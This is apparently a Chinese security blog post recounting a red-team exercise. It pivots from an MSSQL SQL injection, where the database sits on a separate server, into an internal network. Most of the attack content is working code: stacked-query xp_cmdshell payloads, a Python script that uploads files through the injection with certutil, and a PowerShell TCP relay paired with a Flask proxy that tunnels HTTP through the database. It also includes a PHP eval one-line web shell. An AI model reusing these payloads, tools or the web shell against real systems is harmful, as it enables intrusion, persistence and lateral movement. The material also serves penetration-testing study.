这是我在一次攻防演练中遇到的目标,目标有
SQL
注入且是站库分离。虽然能够用xp_cmdshell
执行命令但是由于存在防火墙从而无法出网,进而导致不能回连CS
或MSF
,所以出此下策:使用MSSQL
进行流量代理。
环境模拟
-
攻击机(本机) -
IP
:10.211.55.2
-
环境: Python
、SQLMap
-
Web服务器 -
外网 IP
:10.211.55.3
-
内网 IP
:10.37.129.4
-
服务: PHPStudy
、PHP 7.4.3
、PHP扩展-pdo_sqlsrv
、PHP扩展-sqlsrv
-
MSSQL服务器 -
内网 IP
:10.37.129.4
-
注入点 -
URL
:http://10.37.129.4/sql.php
-
POST
参数:id=1
![记一次从站库分离的MSSQL注入到用xp_cmdshell进行内网漫游的过程 记一次从站库分离的MSSQL注入到用xp_cmdshell进行内网漫游的过程](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2022/10/4-1665365070.png)
情景复现
找到注入点
这里其实难度不是很大,因为当时的目标并没有 WAF
所以注入的流量没有被拦截,很顺利的就注入成功了。粗略说一下,在网站中找到了一个接口,接口要 POST
一个 id
来获取内容
通过测试 id=1
和 id=1'
发现可能有注入
本人比较懒,所以随即使用 SQLMap
进行了进一步的测试
$ sqlmap -u http://10.211.55.3/sql.php --data="id=1" --dbs
可以注入,随手试一下 --os-shell
也是可以执行的
但是权限很小(当时权限也是很小的)
想办法上传文件
当时是只能出 ICMP
协议的,尝试过用各种工具进行 ICMP
代理转发,但由于 ICMP
不稳定,而且部署麻烦,并没有使用 ICMP
协议上线,而且直接通过注入点用 SQL
语句写入文件是不成功的,所以尝试使用 ICMP
转发的时候,为了上传那些乱七八糟的文件也花费了一点时间。
在我的另一篇文章《Windows 下使用命令行操作文件总结(速查)》 中提到过如何用 PowerShell
或者 CMD
进行文件读写。当时为了传那些工具就是利用了文章里的方法去写文件。这里简单讲一下代码,方便以后有人也想上传文件的时候直接用
代码解读
如果你不关心具体的原理,可以跳过这一步
def exec_xp_cmdshell(cmd):
url = 'http://10.37.129.4/sql.php'
payload = "1';DECLARE @bjxl VARCHAR(8000);SET @bjxl=0x%s;EXEC master..xp_cmdshell @bjxl-- ZKN" % binascii.hexlify(
cmd.encode()).decode()
requests.post(url, data={"id": payload})
这里其实就是一个简单的执行 xp_cmdshell
def main():
global path_to_save
if len(sys.argv) < 3:
print("Usage: python3 upload.py local_file_to_read remote_path_to_save")
sys.exit(1)
cmd = '''>>"{path}" set /p="{content}"<nul'''
file = open(sys.argv[1], 'rb')
path_to_save = sys.argv[2]
exec_xp_cmdshell('cd . > "{}"'.format(path_to_save + '.tmp'))
while 1:
content = file.read(512)
payload = cmd.format(path=path_to_save + '.tmp', content=binascii.hexlify(content).decode())
exec_xp_cmdshell(payload)
if len(content) < 512:
break
exec_xp_cmdshell('certUtil -decodehex "{old_path}" "{new_path}"'.format(old_path=path_to_save + '.tmp', new_path=path_to_save))
exec_xp_cmdshell('del "{}"'.format(path_to_save + '.tmp'))
print('Uploaded successfully!')
if __name__ == '__main__':
main()
这段代码会先判断参数有没有给全,没有的话就退出。然后创建文件。创建完了之后会循环读取文件内容并用 Hex
编码转换一下然后通过 CMD
写入。写入完之后使用 certUtil
将其从 Hex
编码中解码出来
另寻出路——内网代理
原理
一般内网代理都需要反向或正向连接,但是这里机器是不出网的,更不能正向连接,所以我们通过 xp_cmdshell
执行 PowerShell
去发送 HTTP
包,原理如下:
其实不难理解,这里按照步骤分析
-
把浏览器代理设置为我们的本地代理程序(也就是我写的脚本) -
浏览器把 HTTP
请求发送到我们的本地代理程序 -
本地代理程序将能够进行 HTTP
请求的PowerShell
命令与原始的HTTP
请求封装到SQL
注入的Payload
中 -
注入点将 SQL
注入的Payload
发送到数据库并执行 -
数据库通过 xp_cmdshell
执行PowerShell
命令 -
PowerShell
将原始HTTP
请求发送至目标,并接受请求,然后一层一层返回
简单吧?代码实现也很简单
代码解读
如果你不关心具体的原理,可以跳过这一步
服务器端
参数化
因为我们在调用的时候是从 CMD
传入参数的,不然每一个请求都重新上传一个脚本将会很麻烦,所以我们定义它的参数:
param(
[string] $remoteHost="127.0.0.1",
[int] $port = 80,
[string] $sendData = "UE9TVCAvc3FsLnBocCBIVFRQLzEuMQ0KSG9zdDogMTAuMzcuMTI5LjQNCg0K"
);
这里的 $remoteHost
就是我们要发送请求的目的地址,$port
就是端口,而 $sendData
则是我们要发送的 HTTP
请求包。然后通过 base64
解码我们的 HTTP
请求包
$sendData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($sendData));
创建 TCP
连接
然后就是使用 Socket
来连接目标,如果失败则会返回 FAILED
try{
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port);
} catch{
Write-Host "FAILED"
exit -1
}
发送数据
随后就是发送我们的请求包并接受响应并输出
$stream = $socket.GetStream( )
$writer = New-Object System.IO.StreamWriter( $stream )
$buffer = New-Object System.Byte[] 1024
$encoding = New-Object System.Text.AsciiEncoding
$flag = $true
while( $socket.Connected -and $flag )
{
$writer.WriteLine( $sendData )
$writer.Flush( )
do{
$read = $stream.Read( $buffer, 0, 1024 )
($encoding.GetBytes( $buffer, 0, $read )|ForEach-Object ToString X2) -join ''
if($read -lt 1024){
$flag = $false
}
} while($flag)
}
这里循环 Hex
编码并输出,而且使用 $flag
来标识是否需要结束循环,如果接收到的数据小于我们的 1024
则说明数据传送完毕,直接退出就行了。
本地代理
封装执行 xp_cmdshell
的方法
regex = 'MSSQL Proxy(.+?)MSSQL Proxy'
def exec_xp_cmdshell(cmd):
url = 'http://10.37.129.4/sql.php'
payload = "1';DECLARE @bjxl VARCHAR(8000);SET @bjxl=0x%s;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @bjxl-- ZKN" % binascii.hexlify(
cmd.encode()).decode()
requests.post(url, data={'id': "1'; DELETE FROM sqlmapoutput-- ZKN"})
requests.post(url, data={"id": payload})
res = requests.post(url, data={
"id": "1' UNION ALL SELECT NULL, 'MSSQL Proxy' + ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32)) + 'MSSQL Proxy',NULL FROM sqlmapoutput ORDER BY id-- ZKN"
})
return ''.join(re.findall(regex, res.text))
这里封装了执行 xp_cmdshell
的方法,通过传入的命令将执行后的结果存入我们定义的表里面,然后通过正则去获取响应。为什么要用正则呢,是因为页面的输出是有不同结果的,常常穿插着我们不用的信息,所以在执行的时候在结果的前后塞一个类似于标识符的东西进行定位。这里就在 SELECT
的时候用了 MSSQL Proxy
这个标识符
封装命令拼接并发送 HTTP
请求的方法
script_path = "C:/Users/MSSQLSERVER/AppData/Local/Temp/mssql_proxy.ps1"
def send_package(ip, port, data):
script_path = "C:/Users/MSSQLSERVER/AppData/Local/Temp/mssql_proxy.ps1"
cmd = "powershell {script_path} -remoteHost {ip} -port {port} -sendData {data}".format(
script_path=script_path, ip=ip, port=port, data=data
)
return exec_xp_cmdshell(cmd)
这里封装了发送 HTTP
包的方法,主要是把 IP
、端口和请求包以参数的形式放进 PowerShell
里去执行。这里我通过前一节的文件上传来提前把 PowerShell
脚本上传上去了,script_path
就是脚本所在的路径
封装清洗数据的方法
def clean_up_response(response):
response = binascii.unhexlify(response.strip().encode()).decode()
headers = response.split('rnrn')[0]
body = 'rnrn'.join(response.split('rnrn')[1:])
res = make_response(body)
res.status = ' '.join(headers.split('rn')[0].split(' ')[1:])
for header in headers.split('rn')[1:]:
res.headers[header.split(':')[0]] = ':'.join(header.split(':')[1:])
return res
这里其实很简单,主要是把收到的请求从 Hex
编码解出来,然后分割响应体和响应头并封装成 Flask
的 response
主函数
@app.before_request
def before_request():
if request.method == 'CONNECT':
return
package = '{method} {path} {version}rn'.format(
method=request.method,
path=request.full_path,
version=request.environ['SERVER_PROTOCOL']
).encode()
host = ''
for k, v in dict(request.headers).items():
if k.upper() == 'Connection'.upper():
package += b'Connection: closern'
continue
if k.upper() == 'HOST':
host = v
package += '{k}: {v}rn'.format(k=k, v=v).encode()
package += b'rn'
package += request.stream.read()
# print(package)
if not host:
return "HostNotFoundr--MSSQL Proxy"
if len(host.split(':')) > 1:
ip, port = host.split(':')
else:
ip, port = host, 80
response = send_package(ip, port, base64.b64encode(package).decode())
if response == 'FAILED':
return "Failedr--MSSQL Proxy", 902
return clean_up_response(response)
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=4000)
这里的 app.before_request
会在请求到来,但还没有传递到对应的视图的时候会被调用,如果此函数的返回值不是 None
则会直接返回,而不继续调用对应的视图。这里我用来拦截和处理所有请求了。然后先进行了一个判断,如果请求方法是 CONNECT
,即是 HTTPS
请求,则会直接忽略。继续往下,通过请求的信息,将浏览器的请求包装成了一个 HTTP
请求,并通过前面的 send_package
进行一个请求,然后通过 clean_up_response
进行了数据清洗并返回
用MSSQL代理漫游内网
好了,代理写好了,接下来该继续正事了。通过内网访问发现那台 Web
服务器上还有一个 8088
端口是开着的,当时通过弱口令进后台然后上传一句话木马拿下的权限,所以这里用一个简单的文件上传功能进行代替
设置代理
后台启动 main.py
开始监听 127.0.0.1:4000
然后在 Chrome
上设置代理。当然,你也可以用别的东西设置代理
获取服务器权限
上传一句话木马
访问页面发现是个文件上传
本地直接写一个一句话木马上传
<?php eval($_POST['admin']); ?>
测试连通性
总结
后续就是通过这个 shell
来往另一个能够与外网连通的 Web
服务的目录下写 shell
从而更好的进行后续的渗透。这个脚本说实话用来找落脚点还是比较好的,如果不找落脚点而是直接依赖这个代理进行渗透还是比较鸡肋的。因为脚本还不是很完善,依然有一些问题,比如无法代理 HTTPS
、蚁剑无法连接、PowerShell
执行命令容易被杀等。我也会持续更新这个脚本,如果你觉得这个脚本还不错,或者刚好有类似的需求,可以点“阅读原文”来获取脚本,就放在我的 GitHub
上。(记得顺便点个 star
!)
微信扫一扫下方二维码关注哦!
原文始发于微信公众号(Anion的小黑屋):记一次从站库分离的MSSQL注入到用xp_cmdshell进行内网漫游的过程